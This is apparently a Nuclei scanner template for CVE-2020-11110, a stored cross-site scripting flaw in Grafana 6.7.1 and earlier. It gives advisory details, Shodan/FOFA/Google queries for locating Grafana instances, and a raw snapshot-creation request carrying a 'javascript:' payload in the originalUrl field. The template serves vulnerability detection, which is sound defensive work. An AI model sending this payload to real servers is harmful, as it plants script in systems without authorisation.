id: CVE-2020-11110 info: name: Grafana <= 6.7.1 - Cross-Site Scripting author: emadshanab severity: medium description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. remediation: This issue can be resolved by updating Grafana to the latest version. reference: - https://github.com/grafana/grafana/pull/23254 - https://security.netapp.com/advisory/ntap-20200810-0002/ - https://nvd.nist.gov/vuln/detail/CVE-2020-11110 - https://hackerone.com/reports/1329433 - https://github.com/grafana/grafana/blob/master/CHANGELOG.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2020-11110 cwe-id: CWE-79 epss-score: 0.00512 epss-percentile: 0.76553 cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grafana product: grafana shodan-query: - title:"Grafana" - cpe:"cpe:2.3:a:grafana:grafana" - http.title:"grafana" fofa-query: - title="grafana" - app="grafana" google-query: intitle:"grafana" tags: cve2020,cve,xss,grafana,hackerone http: - raw: - | POST /api/snapshots HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Referer: {{BaseURL}} content-type: application/json Connection: close {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0} matchers-condition: and matchers: - type: word part: header words: - application/json - type: word part: body words: - '"deleteKey":' - '"deleteUrl":' condition: and - type: status status: - 200 extractors: - type: regex group: 1 regex: - '"url":"([a-z:/0-9A-Z]+)"' part: body # digest: 4a0a0047304502204088f9580d9997606ee6a6bd92c3a84a274118a631b94cc1a8b5e9310f58af70022100a04d3c88a9631a5998e6288782037d8afd4e3c83e5c35e0f83e4c3b418cc640d:922c64590222798bb761d5b6d8e72950